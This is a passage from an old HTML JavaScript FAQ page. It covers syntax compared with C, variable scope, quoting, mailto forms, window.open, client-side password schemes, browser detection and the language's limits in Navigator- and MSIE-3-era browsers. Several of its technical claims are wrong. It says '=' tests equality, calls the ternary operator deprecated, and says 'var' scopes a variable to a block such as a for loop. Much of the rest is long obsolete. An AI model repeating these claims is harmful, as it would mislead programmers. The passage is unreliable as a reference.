<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C employ &#8216;==&#8217; for comparison, &#8216;=&#8217; for equality, and &#8216;!&#8217; for negation. In fact the set of JavaScript <strong>operators</strong> is essentially borrowed from C (right down to the deprecated ternary construct </span><code><span style="font-size: 10pt; font-family: Arial;">a ? b : c</span></code><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">). </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l7 level1 lfo6; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Both JavaScript and C employ the symbols /* to designate a comment */. JavaScript also permits the use of &#8216;//&#8217; for short comments, as in C++. </span></li>
</ul>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Finally, JavaScript&#8217;s <strong>statements</strong> are a strict subset of C++&#8217;s, offering a smaller selection of identical looping and conditional constructs.</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; mso-bidi-font-size: 7.5pt;">How do I &#8230;</span></span></strong><span style="text-decoration: underline;"></span></p>
<h3><a name="FAQ4_1"></a>&#8230; embed JavaScript in a web page?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">im Ritchey offers a number of useful style guidelines in his book <em>Programming JavaScript for Netscape<sup>TM</sup> 2.0</em>. Here&#8217;s how he writes JavaScript:</span></p>
<pre>&lt;SCRIPT LANGUAGE="JavaScript"&gt;</pre>
<pre>&lt;!-- hide script from older browsers</pre>
<pre> </pre>
<pre><span style="mso-spacerun: yes;">     </span>[insert your code here]</pre>
<pre> </pre>
<pre>// end script hiding --&gt;</pre>
<pre>&lt;/SCRIPT&gt;</pre>
<p><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Ritchey also points out that JavaScript accepts the C-language comment delimiters </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">/* comment */</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">, useful for multi-line comments.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_2"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>&#8230; use the same variable name several times in a script?</h3>
<p><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">B</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">y default all variables in JavaScript are <em>global</em>, meaning they retain their values everywhere in a scripted web page. To make a variable <em>local</em> to a block (such as a function), declare it with the keyword </span><code><strong><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">var</span></strong></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">. Here&#8217;s a n example:</span></p>
<pre>// here 'i' is a global counter variable that could, if reused</pre>
<pre>// elsewhere in this script, create hard-to-find errors</pre>
<pre> </pre>
<pre>for( i=1; i&lt;=N; i++ ) {</pre>
<pre><span style="mso-spacerun: yes;">     </span>[code to iterate]</pre>
<pre>}</pre>
<pre> </pre>
<pre>// to ensure that 'i' exists only in the scope of this</pre>
<pre>// counter, use <code><strong>var</strong></code>:</pre>
<pre> </pre>
<pre>for( var i=1; i&lt;=N; i++ ) {</pre>
<pre><span style="mso-spacerun: yes;">     </span>[ ... ]</pre>
<pre>}</pre>
<p style="text-align: justify;"><strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Limiting a variable's scope</span></strong><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> is especially valuable when cutting-and-pasting an existing script, not necessarily written by you, into a new web page. If you use local variables in your functions, you needn't worry about stepping on variables in t he reused code.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_3"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... use quotation marks when scripting?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here are two types of quote mark in JavaScript, the <strong>single-quote</strong> (') and <strong>double-quote</strong> ("). Either can be used to delimit a <em>string literal</em>, or sequence of characters. For example:</span></p>
<pre>myDblQString = "This string is surrounded by double-quote marks.";</pre>
<pre>mySngQString = 'This string is surrounded by single-quote marks.';</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">However, since HTML itself makes extensive use of double-quotes within tags, it's a <strong>good idea to use single-quotes</strong> to set off strings in your scripts. This is particularly useful when your code contains quoted elements, as follows:</span></p>
<pre>onClick = "alert( 'Are you sure?' )";</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Strings containing <strong>apostrophes</strong>, which are identical to single-quotes, require you to use the backslash character (\) to escape the apostrophes, as shown below:</span></p>
<pre>myEscString = 'John didn\'t like Mary\'s hat.';</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Quoted strings can be combined with other strings, whether literals or variables:</span></p>
<pre>errMsg = "Passwords are case-sensitive.";</pre>
<pre>message = "Error: " + errMsg;</pre>
<pre>// assigns 'Error: Passwords are case-sensitive.' to message</pre>
<p class="MsoNormal"> </p>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ4_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... submit forms by e-mail?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">he most reliable way is to use straight HTML via a Submit style button. Set the ACTION of the &lt;FORM&gt; to a mailto: URL and the ENCTYPE attribute to "text/plain". For security reasons, the </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">form.submit()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> method does not submit a form whose ACT ION is a mailto: URL.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Microsoft Internet Explorer 3.0x <strong>does not e-mail forms</strong> directly, though it can launch an e-mail client such as Eudora Pro or Outlook Express. These in turn <strong>convey identifying info</strong> to the recipient, offering a measure of security.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_5"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... script a visit counter?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">t best, a client-side script can show the visitor how many she has been to the site (storing the count in a local cookie). A count of total hits to the server requires a server-side program.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_6"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... script a calendar on the fly?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">I</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">f you view the source of <a href="http://www.intranetjournal.com/ievents.html"><span style="color: #0000ff;">Intranet Journal's Events page</span></a>, you'll have your answer in freely distributable form. Features of this <strong>homegrown implementation</strong> include:</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">object-oriented, with perpetual calendar class </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">reusable isLeapYear() function </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">highlights current day </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Y2000 compliant </span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">easily invoked from page </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;BODY&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> via forms or embedded script</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> commands. </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Here's a typical invocation: </span></p>
<pre style="margin: 0in 0.5in 0pt;">&lt;SCRIPT LANGUAGE="JavaScript"&gt;</pre>
<pre style="margin: 0in 0.5in 0pt;">&lt;!--</pre>
<pre style="margin: 0in 0.5in 0pt;">//<span style="mso-spacerun: yes;">  </span>insert on-the-fly day calendar</pre>
<pre style="margin: 0in 0.5in 0pt;"><span style="mso-tab-count: 1;">  </span>makeCal(9, 1997);<span style="mso-spacerun: yes;">  </span>// September 1997</pre>
<pre style="margin: 0in 0.5in 0pt;">// --&gt;</pre>
<pre style="margin: 0in 0.5in 0pt;">&lt;/SCRIPT&gt;</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">To use the code, you'll need to change the part of the </span><code><span style="font-size: 10pt; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">getHTML()</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> method demarked "page specific stuff." The code is unsupported and not warranted for any particular use.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_7"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... access objects and scripts in the window I open with window.open()?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">F</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">irst, be sure to assign an 'opener' property to the new window if you are using a version of JS that doesn't do it automatically (Navigator 3.0x and MSIE 3.0x do it automatically). The following script should be a part of <strong>every</strong> new window creation:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>var newWind = window.open("xxx","xxx","xxx")<span style="mso-spacerun: yes;">  </span>// u fill in blanks</pre>
<pre><span style="mso-spacerun: yes;">   </span>if (newWind.opener == null) {<span style="mso-spacerun: yes;">  </span>// for Nav 2.0x</pre>
<pre><span style="mso-spacerun: yes;">      </span>newWind.opener = self<span style="mso-spacerun: yes;">  </span>// this creates and sets a new property</pre>
<pre><span style="mso-spacerun: yes;">   </span>}</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">To access items in the new window from the original window, the 'newWind' variable must not be damaged (by unloading), because it contains the only reference to the other window you can use (the name you assign as the second parameter of open() is not valid for scripted window references; only for TARGET attributes).&lt; /P&gt; </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">To access a form element property in the new window, use:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>newWind.document.formName.elementName.property</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">From the new window, the 'opener' property is a reference to the original window (or frame, if the window.open() call was made from a frame). To reference a form element in the original window:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>opener.document.formName.elementName.property</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Finally, if the new window was opened from one frame in the main browser window, and a script in the new window needs access to another frame in the main browser window, use:</span></p>
<pre><span style="mso-spacerun: yes;">   </span>opener.parent.otherFrameName.document.formName</pre>
<p class="MsoNormal"> </p>
<p style="text-align: right;" align="right"><a name="FAQ4_8"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... use JavaScript to password-protect my Web site?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">here are a number of schemes, but be warned that most fail to deflect the knowledgeable script programmer because no matter how you encode the correct password (e.g., bit shifting), both the encoding algorithms and the result have to be in the script -- whose source code is easily accessible. If you're only interested in keeping out casual visitors, this method may suffice.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A more secure way is to set the password to be the name or pathname of the HTML file on your site that is the 'true' starting page. Set the location to the value entered into the field (unfortunately, you cannot extract the value property of a password object in Navigator 2.0x). Entry of a bogus password yields an 'invalid URL' error.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">If the protected pages need additional security (e.g., an infidel has managed to get the complete URL), you might also consider setting a <strong>temporary cookie</strong> on the password page; then test for the existence of that cookie upon entry to every protected page, and throw the infidel back to the password page.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_9"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... write browser-independent scripts?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">S</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">trictly speaking, you can’t. Many browsers don't support Javascript at all. We’ve come to think of the Web as a franchise fought over by Netscape and Microsoft, but there <em>are</em> still people who browse with Lynx, NCSA Mosaic, UdiWWW, Cello – well, maybe not Cello. ;^) </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Speaking informally, there are two ways to write <strong>more portable code</strong>. One is to use only <strong>least-common-denominator features</strong> supported by all versions of Navigator and MSIE. We’re talking JavaScript 1.0, introduced with Netscape 2.0 and IE 3.0. This approach has a couple of drawbacks:</span></p>
<ul type="disc">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l6 level1 lfo7; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">you lose many of the desirable features available in more recent versions </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l6 level1 lfo7; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">the behavior of various browsers differs even at this primitive level, and there are some bugs in JavaScript 1.0. </span></li>
</ul>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Your other option is <em>browser-detection</em>. By running a script at load time that identifies the browser it’s executing in, you can branch conditionally to <strong>appropriately optimized code</strong>. This is good stuff, though it won’t work for all browsers and requires you to add a lot of gobbledy-gook to your web pages. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Here’s a typical browser-detection routine you can customize:</span></p>
<pre>&lt;SCRIPT language="JavaScript"&gt;</pre>
<pre>&lt;!--</pre>
<pre>function checkBrowser(NSvers,NSpass,NSnoPass,IEvers,IEpass,</pre>
<pre><span style="mso-spacerun: yes;">                      </span>IEnoPass,OBpass,URL,altURL) {</pre>
<pre><span style="mso-spacerun: yes;">  </span>var newURL = '', version = parseFloat(navigator.appVersion);</pre>
<pre><span style="mso-spacerun: yes;">  </span>if (navigator.appName.indexOf('Netscape') != -1) {</pre>
<pre><span style="mso-spacerun: yes;">    </span>if (version &gt;= NSvers)</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (NSpass&gt;0) newURL = (NSpass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">    </span>else</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (NSnoPass&gt;0) newURL = (NSnoPass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">  </span>} else if (navigator.appName.indexOf('Microsoft') != -1) {</pre>
<pre><span style="mso-spacerun: yes;">    </span>if (version &gt;= IEvers)</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (IEpass&gt;0) newURL = (IEpass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">    </span>else</pre>
<pre><span style="mso-spacerun: yes;">       </span>{if (IEnoPass&gt;0) newURL = (IEnoPass==1)?URL:altURL;}</pre>
<pre><span style="mso-spacerun: yes;">  </span>} else if (OBpass&gt;0) {newURL = (OBpass==1)?URL:altURL};</pre>
<pre> </pre>
<pre><span style="mso-spacerun: yes;">  </span>if (newURL) {</pre>
<pre><span style="mso-spacerun: yes;">    </span>window.location = unescape(newURL);</pre>
<pre><span style="mso-spacerun: yes;">    </span>document.returnValue = false;</pre>
<pre><span style="mso-spacerun: yes;">  </span>}</pre>
<pre>}</pre>
<pre>//--&gt;</pre>
<pre>&lt;/SCRIPT&gt;</pre>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">This code, which should appear in the HEAD section of a web page, jumps to another page if the visitor is using a browser earlier than version 4.0. </span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_10"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... match text patterns like I can in Perl?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">T</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">he short answer is, "By forgetting about JavaScript and coding server-side <a href="http://www.intranetjournal.com/webservers/cgi.html"><span style="color: #0000ff;">CGI</span></a> scripts in <a href="http://www.perl.com/" target="_blank"><span style="color: #0000ff;">Perl</span></a>." </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">A longer, <strong>browser-dependent</strong> answer: read <a href="http://developer.netscape.com/news/viewsource/angus_strings.html"><span style="color: #0000ff;">Angus Young's article</span></a>, "String matching and replacing in JavaScript 1.2."</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_11"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... prevent others from seeing/copying my scripts?</h3>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">You can't. There is no way to produce an HTML document that can be rendered in a browser but whose source cannot be examined in its entirety, scripts included. And since web browsers have functions like "View Source" and "Save As HTML," copying is a cut-and-paste operation. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Putting a <strong>copyright notice</strong> at the head of your code affords some legal protection. </span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Microsoft has introduced a technique called <a href="http://www.microsoft.com/Mind/0899/ScriptEngine/scriptengine.htm" target="_blank"><span style="color: #0000ff;">script encoding</span></a> that garbles HTML, ASP, VBS, and JScript source code so that it is <strong>unreadable by a casual user</strong>. (The lightweight encryption used won't stop determined hackers.) The technique requires Microsoft's version 5.0 Script Engine; it won't execute in Netscape Navigator or earlier</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">MSIE versions.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ4_12"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>... detect whether JavaScript support has been disabled?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">C</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">ommon sense says that if you're going to detect if JavaScript is disabled, you'd better do it in something besides JavaScript! Check instead to see if scripting is <em>enabled</em>.</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">You might, for instance, use something like </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">document.location = 'java_page.html'</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> to redirect the browser to a new, script-laden page. Failure to redirect implies that JavaScript is unavailable, in which case you can either resort to CGI routines or insert</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">appropriate code between the</span><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"> </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">&lt;NOSCRIPT&gt;</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> tags. (NOTE: </span><code><span style="font-size: 10pt; mso-bidi-font-family: Arial; mso-ascii-font-family: Arial; mso-hansi-font-family: Arial;">NOSCRIPT</span></code><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;"> is only available in Netscape Navigator 3.0 and up.)</span></p>
<p style="text-align: right;" align="right"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; mso-bidi-font-size: 7.5pt;">Troubleshooting</span></span></strong><span style="text-decoration: underline;"></span></p>
<h3><a name="FAQ5_1"></a>1. What <em>can't</em> JavaScript do?</h3>
<p style="text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Q</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">uite a bit. Primarily for security reasons, client-side scripting languages like JavaScript cannot:</span></p>
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">read or write random text files on the local disk or on the server </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">invoke automatic printing of the current document </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">control browser e-mail, news reader, or bookmark windows and menus </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">access or modify browser preferences settings </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">capture a visitor's e-mail address or IP address </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">quietly send me an e-mail when a visitor loads my page </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">launch client processes (e.g.,Unix sendmail,Win apps,Mac scripts) </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">capture individual keystrokes </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">change a document's background .gif after the page has loaded </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">change the current browser window size, location, or options </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo8; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">get rid of that dumb "JavaScript Alert:" line in alert dialogs </span></li>
</ul>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Many of these items <em>are</em> possible in Netscape Communicator 4.0, which features the enhanced (and proprietary) version 1.2 of JavaScript. Moreover, those items perceived to be security risks (e.g., access browser settings) require "signed JavaScript."</span></p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">MSIE JScript v2 (more below) can read/write local files via <strong>ActiveX</strong> - a source of that architecture's widely publicized security pitfalls.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ5_2"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>2. Where can scripts go wrong?</h3>
